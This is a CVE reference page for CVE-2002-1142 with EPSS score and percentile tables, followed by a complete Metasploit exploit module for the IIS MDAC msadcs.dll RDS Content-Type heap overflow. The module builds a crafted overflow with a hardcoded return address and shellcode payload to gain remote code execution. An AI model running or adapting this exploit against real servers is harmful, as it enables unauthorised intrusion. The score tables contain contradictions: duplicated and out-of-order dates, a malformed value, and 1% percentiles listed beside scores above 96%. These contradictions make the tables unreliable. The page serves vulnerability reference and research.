CVE-2002-1142 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	87.31%	–	–
2023-03-12	–	–	–	78.14%	–
2023-08-13	–	–	–	85.27%	–
2024-03-10	–	–	–	88.31%	–
2024-06-02	–	–	–	88.31%	–
2024-09-22	–	–	–	87.46%	–
2024-12-22	–	–	–	96.29%	–
2025-02-16	–	–	–	96.44%	–
2025-01-19	–	–	–	96.29%	–
2025-02-16	–	–	–	96.44%	–
2025-03-18	–	–	–	–	83.04%
2025-03-18	–	–	–	–	83.04,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	1%
2023-03-12	98%
2023-08-13	98%
2024-03-10	99%
2024-06-02	99%
2024-09-22	99%
2024-12-22	1%
2025-02-16	1%
2025-01-19	1%
2025-02-16	1%
2025-03-18	99%
2025-03-18	99%

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' => 'Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow', 'Description' => %q{ This module can be used to execute arbitrary code on IIS servers that expose the /msadc/msadcs.dll Microsoft Data Access Components (MDAC) Remote Data Service (RDS) DataFactory service. The service is exploitable even when RDS is configured to deny remote connections (handsafe.reg). The service is vulnerable to a heap overflow where the RDS DataStub 'Content-Type' string is overly long. Microsoft Data Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable. }, 'Author' => 'patrick', 'Version' => '$Revision$', 'Platform' => 'win', 'References' => [ ['OSVDB', '14502'], ['BID', '6214'], ['CVE', '2002-1142'], ['MSB', 'ms02-065'], ['URL', 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html'] ], 'Privileged' => false, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x09\x0a\x0b\x0d\x20:?<>=$\\/\"';=+%#&", 'StackAdjustment' => -3500, }, 'DefaultOptions' => { 'EXITFUNC' => 'seh', # stops IIS from crashing... hopefully }, 'Targets' => [ # patrickw tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0 [ 'Windows 2000 Pro English SP0', { 'Ret' => 0x75023783 } ], # jmp eax ws2help.dll ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 20 2002' ) register_options( [ OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']), ], self.class) end def check res = send_request_raw({ 'uri' => datastore['PATH'], 'method' => 'GET', }) if (res and res.code == 200) print_status("Server responded with HTTP #{res.code} OK") if (res.body =~ /Content-Type: application\/x-varg/) print_good("#{datastore['PATH']} matches fingerprint application\/x-varg") Exploit::CheckCode::Detected end else Exploit::CheckCode::Safe end end def exploit sploit = rand_text_alphanumeric(136) sploit[24,2] = Rex::Arch::X86.jmp_short(117) sploit << [target['Ret']].pack('V') sploit << payload.encoded data = 'Content-Type: ' + sploit res = send_request_raw({ 'uri' => datastore['PATH'] + '/AdvancedDataFactory.Query', 'headers' => { 'Content-Length' => data.length, }, 'method' => 'POST', 'data' => data, }) handler end end